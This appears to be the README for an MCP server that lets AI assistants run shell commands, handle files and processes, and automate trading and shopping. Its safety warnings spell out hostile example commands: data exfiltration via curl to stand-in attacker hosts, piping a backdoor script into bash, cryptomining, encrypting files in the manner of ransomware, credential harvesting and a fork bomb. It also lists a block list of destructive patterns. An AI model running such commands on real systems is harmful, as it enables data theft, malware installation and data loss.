Shell MCP

A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.

📚 View the complete documentation website for an enhanced reading experience with interactive examples and guides.

What is This? - Understand what this server does
⚠️ Important Disclaimer & Safety Warning - READ THIS FIRST
Real-World Use Cases - See practical scenarios including stock trading, web automation, and online shopping
How to Use with AI Assistants - Setup guides for Claude Desktop and other tools
Example Conversations - See it in action with real examples
Tips for Best Results - Get the most out of your AI assistant
Enabling Advanced Features - Setup stock market APIs, browser automation, and more
Installation for End Users - Quick setup guide
Available Tools - Tool reference
Security Considerations - Important security information
For Developers - Development and contribution guide

What is This?

This MCP server enables AI assistants (like Claude, ChatGPT, or other AI agents) to interact with your computer's operating system. Once connected, your AI assistant can:

Execute shell commands on your behalf
Read and write files
Monitor system resources and processes
Automate complex workflows
Track stock market prices and trading signals
Search and compare prices on Amazon and other online retailers
Open applications and control your browser
Schedule automated tasks and routines

Think of it as giving your AI assistant "hands" to help you with system administration, development tasks, data processing, financial monitoring, online shopping, and everyday automation—all while maintaining security controls.

From simple tasks like organizing files, to advanced automation like monitoring your stock portfolio and finding the best deals online, your AI assistant becomes a powerful personal automation engine.

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.

Legal Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

By using this MCP server, you acknowledge and accept full responsibility for:

All commands executed by your AI assistant
Any data loss, system damage, or security breaches that may occur
Financial losses from automated trading or purchasing decisions
Any unauthorized access or malicious use of your system
Compliance with all applicable laws and terms of service

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:

Your entire file system - Can read, modify, or delete ANY file
All system commands - Can execute ANY shell command with your user permissions
Network access - Can make external connections, download files, send data
Process control - Can start, stop, or kill any process
Financial systems - Can execute trades, make purchases, transfer money if credentials are accessible
Personal data - Can access emails, documents, browser history, passwords (if stored locally)

WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU SITTING AT YOUR KEYBOARD.

🟡 Potential Dangers Even With Sandbox Mode

Data Loss:

AI might misunderstand requests and delete important files
Automated scripts could overwrite or corrupt data
Batch operations can cascade errors across many files

Financial Risk:

Automated trading scripts could execute unintended transactions
Price monitoring might act on bad data or API errors
Shopping automation could make unauthorized purchases
API rate limits could incur unexpected costs

System Instability:

Resource-intensive commands could crash your system
Process termination could kill critical services
Disk operations could fill storage or corrupt filesystems

Privacy Exposure:

AI might inadvertently read sensitive files
Logs could contain passwords or API keys
Executed commands might expose environment variables

Malicious AI Behavior:

If your AI assistant is compromised or has a jailbreak vulnerability
If prompts are injected with malicious instructions
If the AI model develops unexpected emergent behaviors
If the AI is manipulated through social engineering

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

Scenario 1: Data Exfiltration

# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf

Scenario 2: Cryptocurrency Mining

# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &

Scenario 3: Backdoor Installation

# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash

Scenario 4: Unauthorized Financial Transactions

# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL

Scenario 5: Ransomware-like Behavior

# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;

Scenario 6: System Sabotage

# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100

Scenario 7: Credential Harvesting

# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt

✅ How to Protect Yourself

Essential Safety Measures:

ALWAYS START WITH SANDBOX_MODE=true

# In your AI assistant config:
"SANDBOX_MODE": "true"

Run with Limited User Permissions
- Create a dedicated user account with restricted privileges
- Never run as root/administrator
- Use file system permissions to limit access
Use Network Isolation
- Run in a Docker container with no network access
- Use firewall rules to block outbound connections
- Monitor network traffic for suspicious activity
Review Commands Before Execution
- Always ask your AI to explain commands first
- Verify destructive operations manually
- Use --dry-run flags when available

Implement File System Restrictions

# Only allow access to specific directories
# Use chroot, Docker volumes, or similar isolation

Monitor and Audit
- Enable DEBUG mode to log all commands
- Regularly review logs for suspicious activity
- Set up alerts for unauthorized operations
Limit Financial/Trading Automation
- Never store trading credentials in plain text
- Use read-only API keys when possible
- Implement transaction limits and approval workflows
- Keep trading automation on isolated systems
Regular Backups
- Maintain recent backups of important data
- Test backup restoration regularly
- Store backups offline or in immutable storage

🔒 Recommended Security Configuration

For Testing/Learning:

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

For Personal Use (Low Risk Tasks):

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

For Production/Critical Systems:

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan

⚖️ Legal and Ethical Considerations

You are responsible for ensuring:

Compliance with computer fraud and abuse laws
Adherence to terms of service for external APIs and services
Respect for data privacy regulations (GDPR, CCPA, etc.)
Proper authorization before accessing or modifying systems
Ethical use of automation and AI capabilities

Trading and Financial Automation:

Automated trading may violate broker terms of service
You are liable for all trades executed, even if automated
Market manipulation is illegal in most jurisdictions
Seek professional financial advice before automated trading

Web Scraping and Automation:

Respect robots.txt and website terms of service
Don't overload servers with excessive requests
Obtain permission for commercial use of scraped data
Be aware of copyright and intellectual property rights

🎓 Education and Awareness

This server is intended for:

Legitimate automation and productivity enhancement
Learning about AI-assisted development and system administration
Personal projects and experimentation in controlled environments

This server is NOT intended for:

Unauthorized access to computer systems
Malicious activities or causing harm
Circumventing security measures
Violating laws, regulations, or terms of service

📞 Incident Response

If you suspect your AI assistant has been compromised or is acting maliciously:

Immediately disconnect - Kill the MCP server process
Disconnect from network - Unplug ethernet or disable WiFi
Review logs - Check what commands were executed
Scan for malware - Run antivirus and security scans
Change credentials - Update passwords and API keys
Report if necessary - Contact relevant parties if data breach occurred

Final Warning

Using this MCP server means trusting your AI assistant with significant system access. While AI assistants are generally helpful and follow instructions, they:

Can make mistakes in understanding commands
May be vulnerable to prompt injection attacks
Could have bugs or unexpected behaviors
Might misinterpret context or intent
Cannot be held accountable for their actions

YOU are ultimately responsible for everything that happens on your system.

When in doubt, use SANDBOX_MODE=true and manually review commands before execution.

Real-World Use Cases

For Developers

Scenario 1: Automated Project Setup

"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."

Your AI assistant can execute all these commands, create necessary configuration files, and verify the setup—saving you 15-20 minutes of repetitive work.

Scenario 2: Code Analysis & Refactoring

"Find all TODO comments in my project, categorize them by priority, and create a markdown report."

The AI can search your codebase, analyze patterns, and generate comprehensive reports.

Scenario 3: Development Environment Debugging

"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."

Your AI assistant can investigate issues by running diagnostic commands and interpreting results.

For System Administrators

Scenario 4: System Health Monitoring

"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."

Get instant, interpreted system diagnostics without manually running multiple commands.

Scenario 5: Log Analysis

"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."

AI can not only retrieve logs but also analyze patterns and provide actionable insights.

Scenario 6: Automated Maintenance

"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."

Execute complex cleanup routines with a single natural language request.

For Data Scientists & Analysts

Scenario 7: Data Pipeline Automation

"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."

Chain multiple data processing commands with AI understanding the context.

Scenario 8: Batch File Processing

"Find all .csv files in the data folder, get their row counts, and create a summary report."

Automate repetitive data exploration tasks.

For DevOps Engineers

Scenario 9: Deployment Verification

"Check if the application is running on port 8080, verify the database connection, and test the health endpoint."

Automated post-deployment validation with intelligent interpretation.

Scenario 10: Resource Optimization

"Find processes consuming more than 500MB of RAM, identify what they are, and suggest if any can be safely terminated."

Proactive resource management with AI-guided decision making.

For Traders & Finance Enthusiasts

Scenario 11: Stock Market Monitoring

"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."

Your AI can execute Python/Node.js scripts or use curl to fetch real-time stock data from APIs (Alpha Vantage, Yahoo Finance, etc.), analyze trends, and monitor your portfolio automatically.

Scenario 12: Automated Trading Signals

"Every morning at 9:30 AM, analyze the top 10 tech stocks, check their pre-market movement, and create a trading signals report with buy/sell recommendations based on technical indicators."

Set up cron jobs or scheduled scripts that your AI runs to fetch market data, perform technical analysis (RSI, MACD, Bollinger Bands), and generate actionable insights—all automated through shell commands.

Scenario 13: Portfolio Tracking

"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."

Your AI can maintain a portfolio tracker script, update it with real-time data, and send you intelligent summaries of your investments.

For Daily Automation & Productivity

Scenario 14: Smart Browser Automation

"Open Chrome, navigate to my company's dashboard, take a screenshot of the analytics page, and save it to my reports folder."

Using commands like open (macOS), start (Windows), or xdg-open (Linux), plus tools like Puppeteer or Selenium scripts, your AI can automate browser tasks, scrape data, and capture information.

Scenario 15: Application Management

"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project, and start the MongoDB server."

Your AI can orchestrate your entire work environment by launching applications, executing AppleScripts (macOS), PowerShell scripts (Windows), or shell commands to create your perfect workspace setup with one request.

Scenario 16: Web Search & Research

"Search for the latest information about 'quantum computing breakthroughs 2026' from multiple sources, summarize the findings, and save them to a markdown file."

Using curl, wget, or Python scripts with BeautifulSoup, your AI can search the web, aggregate information from multiple sources, and compile research reports automatically.

Scenario 17: Amazon Shopping Assistant

"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options by price and reviews, and create a comparison table."

Your AI can run scripts that use Amazon's Product Advertising API or web scraping to:

Search for products based on your criteria
Compare prices across different sellers
Track price history and alert you to deals
Analyze customer reviews and ratings
Even automate purchases through Amazon CLI tools or scripts (with your explicit approval)

Scenario 18: Online Price Monitoring

"Monitor the price of the 'Sony A7 IV camera' across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."

Set up automated price tracking scripts that your AI manages, running scheduled checks and notifying you of price drops or lightning deals.

Scenario 19: Smart Shopping Lists

"I need to buy ingredients for lasagna. Search for the best prices on Amazon Fresh and local grocery delivery services, then generate a shopping list with the cheapest options."

Your AI can aggregate data from multiple sources, compare prices, and optimize your shopping to save money—all automated through API calls and web searches.

Scenario 20: Multi-Platform Search & Purchase

"I need a standing desk. Search Amazon, IKEA, and Wayfair for options between $300-$500, filter by ratings above 4.5 stars, and create a comparison spreadsheet."

Your AI orchestrates searches across multiple platforms, normalizes the data, applies your criteria, and presents organized results—saving hours of manual research.

Real-World Automation Examples

Complete Morning Routine:

"Good morning! Check my stock portfolio, show me any significant overnight movements, open my browser to Gmail and calendar, start my development environment, and give me a weather forecast."

End-of-Day Workflow:

"Close all my work apps, back up today's code changes, check if any of my watched Amazon items have price drops, summarize my system's resource usage today, and shut down unnecessary services."

Shopping Automation:

"I need to buy: noise-canceling headphones, a mechanical keyboard, and a laptop stand. For each, find the top 3 options on Amazon under $150, $100, and $50 respectively. Compare them and tell me which combination gives the best value."

How to Use with AI Assistants

Claude Desktop

There are two ways to configure shell-mcp with Claude Desktop:

Option 1: Local Installation (Recommended for Development)

Install the server:

git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp
npm install
npm run build

Configure Claude Desktop:

Edit your Claude Desktop config file:

macOS/Linux: ~/Library/Application Support/Claude/claude_desktop_config.json
Windows: %APPDATA%\Claude\claude_desktop_config.json

Add this configuration:

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/absolute/path/to/shell-mcp/dist/server.js"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Restart Claude Desktop

Option 2: Using npx (No Installation Required)

If you prefer not to clone and build the project locally, you can run shell-mcp directly from npm using npx:

Configuration without installing:

Edit your Claude Desktop config file as above, and add:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

For production use (with sandbox enabled):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.

Getting Started

After configuring either option:

Restart Claude Desktop
Start using it:

"Can you check my system's CPU and memory usage?" "Create a backup script that archives my projects folder." "Find all JavaScript files modified in the last week."

See CLAUDE_SETUP.md for detailed configuration options and environment variables.

Other MCP-Compatible AI Tools

Any AI assistant that supports the Model Context Protocol can use this server:

Example: Custom AI Agent (Python)

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

# Connect to the MCP server
server_params = StdioServerParameters(
    command="node",
    args=["/path/to/shell-mcp/dist/server.js"],
    env={"SANDBOX_MODE": "true"}
)

async with stdio_client(server_params) as (read, write):
    async with ClientSession(read, write) as session:
        # Initialize connection
        await session.initialize()

        # List available tools
        tools = await session.list_tools()

        # Execute a command
        result = await session.call_tool("exec", {
            "command": "df -h"
        })
        print(result)

Example: Node.js AI Agent

import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

// Create MCP client
const transport = new StdioClientTransport({
  command: "node",
  args: ["/path/to/shell-mcp/dist/server.js"],
  env: { SANDBOX_MODE: "true" },
});

const client = new Client(
  {
    name: "my-ai-agent",
    version: "1.0.0",
  },
  { capabilities: {} },
);

await client.connect(transport);

// Get system info
const result = await client.callTool({
  name: "getSystemInfo",
  arguments: {},
});

console.log(result);

What Your AI Agent Can Do

Once connected, your AI assistant can help with:

System Operations:

Monitor CPU, memory, and disk usage
Check running processes and resource consumption
Verify system uptime and health
Analyze system logs

File Management:

Create, read, update, and delete files
Search for files by name or content
Batch rename or organize files
Generate reports from file data

Development Tasks:

Run build scripts and tests
Install dependencies
Search codebases
Execute git commands
Deploy applications

Data Processing:

Download and process files
Convert between formats
Extract and transform data
Generate reports and summaries

Automation:

Schedule and run maintenance tasks
Execute complex multi-step workflows
Perform system backups
Clean up temporary files

Debugging & Diagnostics:

Check application logs
Verify network connectivity
Test API endpoints
Investigate errors

Example Conversations

Here are real examples of how you might interact with your AI assistant once this MCP server is connected:

Example 1: System Health Check

You: "Can you check my system's health and let me know if anything needs attention?"

AI Assistant: Uses getSystemInfo tool, then exec to check disk space and running processes

"Your system looks healthy overall:

CPU: 8 cores, currently at 23% usage
Memory: 16GB total, 8.2GB free (51% available)
Disk: 500GB total, 127GB free (25% - you might want to clean up soon)
Uptime: 5 days, 3 hours

I noticed your Docker Desktop is using 3.2GB of RAM. Would you like me to check if there are any unused containers we can remove?"

Example 2: Project Analysis

You: "I have a Node.js project in ~/projects/my-app. Can you analyze it and tell me about its structure and any potential issues?"

AI Assistant: Uses listDir and readFile tools

"I've analyzed your project. Here's what I found:

47 JavaScript files, 12 JSON config files
Dependencies: 23 production, 15 dev dependencies
Last modified: package.json (2 hours ago)
Potential issues:
- Found 8 TODO comments in the code
- 3 packages have known vulnerabilities (need npm audit fix)
- No .env.example file (should add one for team members)

Would you like me to create a detailed report or help fix any of these issues?"

Example 3: Data Processing

You: "I have CSV files in ~/data/sales/ from this month. Can you combine them, remove duplicates, and create a summary?"

AI Assistant: Uses listDir, readFile, exec, and writeFile tools

"Done! I've processed your sales data:

Found 4 CSV files (sales_week1.csv through sales_week4.csv)
Combined: 1,247 total records
Removed: 38 duplicates
Final dataset: 1,209 unique sales records
Created: ~/data/sales/february_2026_summary.csv

Summary statistics:

Total revenue: $47,382
Average sale: $39.12
Top product: Widget Pro (237 sales)

The combined file is ready at ~/data/sales/february_2026_summary.csv"

Example 4: Development Workflow

You: "Set up a new React project called 'dashboard' with TypeScript, install Tailwind CSS, and create a basic component structure."

AI Assistant: Uses exec and writeFile tools

"Project setup complete! Here's what I did:

Created React + TypeScript project: ✓
Installed Tailwind CSS and configured it: ✓
Created component structure:
- src/components/Header.tsx
- src/components/Sidebar.tsx
- src/components/Dashboard.tsx
- src/pages/Home.tsx
Initialized Git repository: ✓
Created .gitignore: ✓

Next steps you might want:

Run 'npm run dev' to start the development server
Configure authentication
Add routing with React Router

Would you like me to add anything else?"

Example 5: Troubleshooting

You: "My web server won't start. It's supposed to run on port 3000. Can you help me figure out why?"

AI Assistant: Uses exec and listProcesses tools

"I found the issue! Port 3000 is already in use:

Process using port 3000:

PID: 8472
Command: node old-server.js
Started: 3 days ago

This appears to be an old server that's still running. Options:

Kill this process (I can do this for you)
Change your new server to use a different port (like 3001)
Check if you still need the old server running

What would you like to do?"

Example 6: Stock Market Monitoring & Trading Signals

You: "I'm interested in tech stocks. Can you check the current prices for Apple, Microsoft, Google, and NVIDIA, and let me know if any look like good buying opportunities based on their recent performance?"

AI Assistant: Uses exec tool to run a Python script that fetches stock data via APIs

"I've analyzed the current market data for your tech stocks:

AAPL (Apple Inc.) - $178.45 (+2.3% today)

Recent trend: Strong upward momentum
50-day MA: $172.30 (currently above - bullish signal)
RSI: 58 (neutral, room to grow)
Signal: ✅ MODERATE BUY
Note: Breaking through resistance at $177

MSFT (Microsoft) - $412.80 (-0.8% today)

Recent trend: Slight pullback from highs
50-day MA: $408.50 (currently above)
RSI: 52 (neutral)
Signal: ⏸️ HOLD/WATCH
Note: Minor consolidation, possible buying opportunity on dip

GOOGL (Alphabet) - $145.20 (+1.1% today)

Recent trend: Steady upward climb
50-day MA: $141.80 (above - bullish)
RSI: 62 (approaching overbought)
Signal: ⚠️ WATCH
Note: Strong but getting pricey short-term

NVDA (NVIDIA) - $892.30 (+4.7% today)

Recent trend: Very strong momentum
50-day MA: $825.40 (well above)
RSI: 71 (slightly overbought)
Signal: ⚠️ OVEREXTENDED
Note: Amazing run but may need consolidation

Best Opportunity: MSFT looks like the best entry point if it dips to $405-408 range. AAPL is also showing good momentum with room to grow.

Would you like me to:

Set up automated monitoring to alert you when MSFT hits $405?
Create a detailed technical analysis report?
Track these stocks and notify you of significant changes?"

Example 7: Smart Amazon Shopping Assistant

You: "I need to buy a good pair of wireless noise-canceling headphones for under $300. Can you help me find the best options on Amazon?"

AI Assistant: Uses exec tool to run a web scraping script or Amazon API integration

"I've searched Amazon for wireless noise-canceling headphones under $300. Here are the top 5 options:

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐

Rating: 4.7/5 (18,432 reviews)
Features: Industry-leading ANC, 30hr battery, multipoint connection
Price history: Currently $20 below average price
✅ BEST OVERALL - Premium quality at your budget limit

2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐

Rating: 4.6/5 (12,891 reviews)
Features: Excellent ANC, 24hr battery, comfortable for long wear
Price history: All-time low price!
💰 BEST VALUE - Great price drop right now

3. Apple AirPods Max - $449.00 ❌ (Over budget)

Rating: 4.8/5 (8,234 reviews)
Too expensive, but I'm mentioning because there's a 20% off deal alert

4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐

Rating: 4.5/5 (6,721 reviews)
Features: 60hr battery!, excellent sound quality, good ANC
🔋 BEST BATTERY LIFE

5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐

Rating: 4.4/5 (9,156 reviews)
Features: 50hr battery, good ANC for price, adaptive
💵 BUDGET CHAMPION - Best bang for buck

My Recommendation: If you want the absolute best: Sony WH-1000XM5 (best noise canceling) If you want the best deal: Bose QC45 (amazing price right now at $249!)

Additional insights:

Bose QC45 is currently at lowest price in 90 days - great time to buy!
Sony WH-1000XM5 rarely goes on sale, $280 is very fair
All options have free Prime shipping

Would you like me to:

Add one of these to your cart?
Set up price alerts if you want to wait for a better deal?
Search for refurbished/open-box versions to save more?
Compare these with similar options from Best Buy or other retailers?"

Example 8: Morning Market Routine Automation

You: "Can you set up a morning routine that checks my stock portfolio, the market news, and opens my trading dashboard every weekday at 9:00 AM?"

AI Assistant: Uses writeFile to create a script and exec to set up a cron job

"I've created a comprehensive morning market routine! Here's what I set up:

Created: ~/scripts/morning-market-routine.sh

What it does at 9:00 AM every weekday:

✅ Fetches your portfolio data (AAPL, MSFT, NVDA, GOOGL holdings)
✅ Calculates overnight profit/loss
✅ Checks major market indices (S&P 500, NASDAQ, DOW)
✅ Pulls top 5 trending stocks and crypto
✅ Scans financial news for your ticker symbols
✅ Opens your TradingView dashboard in Chrome
✅ Generates a summary report and sends it to your terminal

Scheduled: Cron job installed for weekdays at 9:00 AM EST

Sample of what you'll see tomorrow:

═══════════════════════════════════════════
📊 MORNING MARKET BRIEFING - Feb 29, 2026
═══════════════════════════════════════════

YOUR PORTFOLIO:
  Total Value: $48,320 (+$420 overnight, +0.88%)

  AAPL: 25 shares @ $178.45 → $4,461 (+1.2%)
  MSFT: 10 shares @ $412.80 → $4,128 (-0.3%)
  NVDA: 15 shares @ $892.30 → $13,384 (+2.1%)
  Cash: $26,347

MARKET OVERVIEW:
  S&P 500: +0.4% (pre-market)
  NASDAQ: +0.7% (tech rally continues)

TRENDING: AI chipmakers surging on new data center demand
  Top gainer: AMD +3.8% pre-market

NEWS ALERTS:
  - NVDA announces new AI chip partnership
  - MSFT expanding cloud services in Europe

Your browser will auto-open to your dashboard, and the full report will be saved to ~/market-reports/2026-02-29.txt

Want me to tweak any settings or add more features?"

Tips for Best Results

Communicating with Your AI Assistant

Be Specific:

❌ "Check my files"
✅ "List all PDF files in my Documents folder modified in the last week"

Ask for Summaries:

"Get my system info and tell me if anything looks concerning"
"Check the last 50 lines of the server log and summarize any errors"

Request Multi-Step Actions:

"Find all Node.js projects on my system, check which ones need dependency updates, and create a summary report"

Use Natural Language:

You don't need to know command syntax!
Say "find big files" instead of trying to construct find commands
Your AI will translate your intent into proper commands

Safety Tips

Start with Sandbox Mode:

# In your AI assistant config
"SANDBOX_MODE": "true"

This adds extra safety checks while you get comfortable.

Review Before Destructive Actions:

Your AI assistant will typically ask before deleting files or making major changes
You can always ask "show me what command you're about to run"

Use for Automation:

Once you're comfortable, create scripts for repetitive tasks
Example: "Create a backup script that I can run weekly"

Monitor Resource Usage:

Ask your AI to check system resources if things slow down
Example: "What's using the most memory on my system?"

What to Try First

System Check: "Give me a system health overview"
File Organization: "Help me organize my Downloads folder"
Project Analysis: "Analyze my project at ~/code/myapp"
Log Investigation: "Check if there are any errors in my application logs"
Process Management: "Show me what's using the most CPU"

Enabling Advanced Features

For advanced automation like stock market monitoring, web browsing, and online shopping, you may need additional tools:

Stock Market & Financial APIs

Option 1: Free APIs (Recommended for starting)

# Alpha Vantage (Free tier: 500 requests/day)
# Get your free API key at: https://www.alphavantage.co/support/#api-key
export ALPHA_VANTAGE_API_KEY="your_key_here"

Option 2: Premium APIs

Yahoo Finance API: Real-time stock data
Polygon.io: Advanced market data
IEX Cloud: Financial data platform

Example Script Your AI Can Use:

# ~/scripts/stock_checker.py
import requests
import os

def get_stock_price(symbol):
    api_key = os.getenv('ALPHA_VANTAGE_API_KEY')
    url = f'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol={symbol}&apikey={api_key}'
    response = requests.get(url)
    return response.json()

# Your AI assistant can run: python ~/scripts/stock_checker.py

Browser Automation

Install Puppeteer (Node.js) or Playwright:

# For web scraping and browser automation
npm install -g puppeteer
# or
npm install -g playwright

Your AI can then:

Open websites automatically
Fill forms and click buttons
Take screenshots
Extract data from web pages

Amazon Shopping & Price Monitoring

Option 1: Amazon Product Advertising API

Sign up at: https://affiliate-program.amazon.com/assoc_credentials/home
Free for Amazon Associates
Your AI can search products programmatically

Option 2: Web Scraping (for personal use)

# Install a scraping tool
pip install beautifulsoup4 requests

Option 3: Price Tracking Tools

# CamelCamelCamel API integration or similar services
# Your AI can check price history automatically

Opening Applications

macOS:

# Your AI uses commands like:
open -a "Google Chrome" https://amazon.com
open -a "Spotify"

Windows:

start chrome https://amazon.com
start spotify

Linux:

xdg-open https://amazon.com
spotify &

Scheduled Automation

Your AI can set up scheduled tasks:

macOS/Linux (Cron):

# Your AI creates cron jobs for you
crontab -e
# Example: Check stocks every hour on weekdays
0 9-16 * * 1-5 /usr/bin/python3 ~/scripts/stock_checker.py

Windows (Task Scheduler):

# Your AI can create scheduled tasks
schtasks /create /tn "StockCheck" /tr "python stock_checker.py" /sc daily /st 09:00

Getting Started with Advanced Features

Start Simple: Begin with basic stock price checks using free APIs
Build Gradually: Add browser automation for specific websites
Automate Routine: Let your AI create scheduled scripts for daily tasks
Stay Safe: Always review scripts before running, especially for financial transactions

Your AI Assistant Can Help You Setup:

"Help me get an Alpha Vantage API key and set it up"
"Install Puppeteer and create a script to check Amazon prices"
"Set up a cron job to check my stock portfolio every morning"

Features

Shell Command Execution: Execute arbitrary shell commands with timeout and security controls
File Operations: Read, write, delete files and list directories
System Information: Cross-platform system info retrieval (CPU, memory, disk, OS)
Process Management: List and filter running processes
Security: Built-in command validation, sandboxing support, and dangerous pattern blocking
Cross-Platform: Works on macOS, Linux, and Windows
Production-Ready: Comprehensive error handling, logging, and graceful shutdown
Well-Documented: Extensive documentation including security guidelines and setup guides

Installation for End Users

To use this MCP server with your AI assistant, follow these steps:

Prerequisites

Node.js (version 18 or higher) - Download here
npm (comes with Node.js)
An MCP-compatible AI assistant (like Claude Desktop)

Step-by-Step Setup

Clone or download this repository:

git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp

Install dependencies:
```
npm install
```
Build the server:
```
npm run build
```
Configure your AI assistant (see "How to Use with AI Assistants" section above)
Start chatting with your AI! Your assistant now has access to system operations.

Optional: Configuration

Create a .env file to customize behavior:

cp .env.example .env

Edit the .env file:

SANDBOX_MODE: Set to true for safer execution (recommended when testing)
COMMAND_TIMEOUT: Maximum time (in milliseconds) for commands to run (default: 30000)
DEBUG: Set to true to see detailed logs (helpful for troubleshooting)

Example .env file:

SANDBOX_MODE=false
COMMAND_TIMEOUT=30000
DEBUG=false

For Developers

If you're developing or extending this server:

Quick Start

# Install dependencies
npm install

# Build the project
npm run build

# Run tests
npm test

# Start the server (for development)
npm run dev

# or
npm start

For deploying with Claude Desktop, see CLAUDE_SETUP.md.

Development Workflow

# Watch mode for development
npm run watch

# Test with MCP Inspector (interactive UI for testing)
npm run inspector

Testing

# Run automated integration tests
npm test

# Run client test (alternative test implementation)
npm run test:client

# Run debug test (see raw server output)
npm run test:debug

All test files are TypeScript and located in the test/ directory.

Available Tools

1. exec

Execute arbitrary shell commands.

Input:

command (string): The shell command to execute

Example:

{
  "name": "exec",
  "arguments": {
    "command": "echo 'Hello World'"
  }
}

2. readFile

Read the contents of a file.

Input:

path (string): Path to the file

3. writeFile

Write content to a file.

Input:

path (string): Path to the file
content (string): Content to write

4. deleteFile

Delete a file.

Input:

path (string): Path to the file

5. listDir

List contents of a directory.

Input:

path (string): Path to the directory

6. getSystemInfo

Get system information (CPU, memory, disk, OS).

Input: None

7. listProcesses

List running processes, optionally filtered.

Input:

filter (string, optional): Filter pattern for process names

Security Considerations

⚠️ See Important Disclaimer & Safety Warning section above for comprehensive security information.

This server provides powerful shell access with inherent security risks. Review the following:

Built-in Security Features

Sandboxed Mode: Enable SANDBOX_MODE=true for additional safety warnings and validation
Command Validation: Built-in blocking of extremely dangerous command patterns
Timeout Protection: All commands have timeout limits (default: 30 seconds)
Output Size Limits: Command output capped at 10MB to prevent memory exhaustion
Graceful Error Handling: Prevents crashes from malformed commands

Blocked Command Patterns

The following extremely dangerous command patterns are automatically blocked:

rm -rf / - Recursive deletion of the root filesystem. This would destroy all files on the system, making it unbootable and causing complete data loss.
mkfs - Filesystem formatting command. Creates a new filesystem on a device, erasing all existing data. Could destroy entire partitions or disks if misused.
dd if= - Low-level disk writing operations. The dd command can write directly to disk devices, potentially overwriting critical system data, partition tables, or bootloaders.
> /dev/ - Direct device file manipulation. Redirecting output to device files (especially /dev/sda, /dev/zero, etc.) can corrupt storage devices or cause system instability.

⚠️ What Is NOT Protected

These built-in protections are MINIMAL and do NOT prevent:

Reading sensitive files (cat ~/.ssh/id_rsa)
Deleting specific important files (rm -rf ~/Documents)
Network exfiltration (curl -X POST attacker.com --data @secret.txt)
Installing malware (curl malware.com/script.sh | bash)
Resource exhaustion (:(){ :|:& };: - fork bomb)
API abuse (excessive calls to paid services)
Unauthorized purchases or financial transactions
Social engineering attacks on the AI
Prompt injection vulnerabilities

The built-in protections only block a small set of catastrophic system-level commands.

Recommendations for Production Use

Run in Isolated Environment
- Use Docker containers with minimal permissions
- Implement network policies to restrict outbound connections
- Use read-only file system mounts where possible
Implement Access Control
- Deploy behind authentication/authorization layers
- Use role-based access control (RBAC)
- Implement command whitelisting for specific use cases
Monitor and Audit
- Enable comprehensive logging
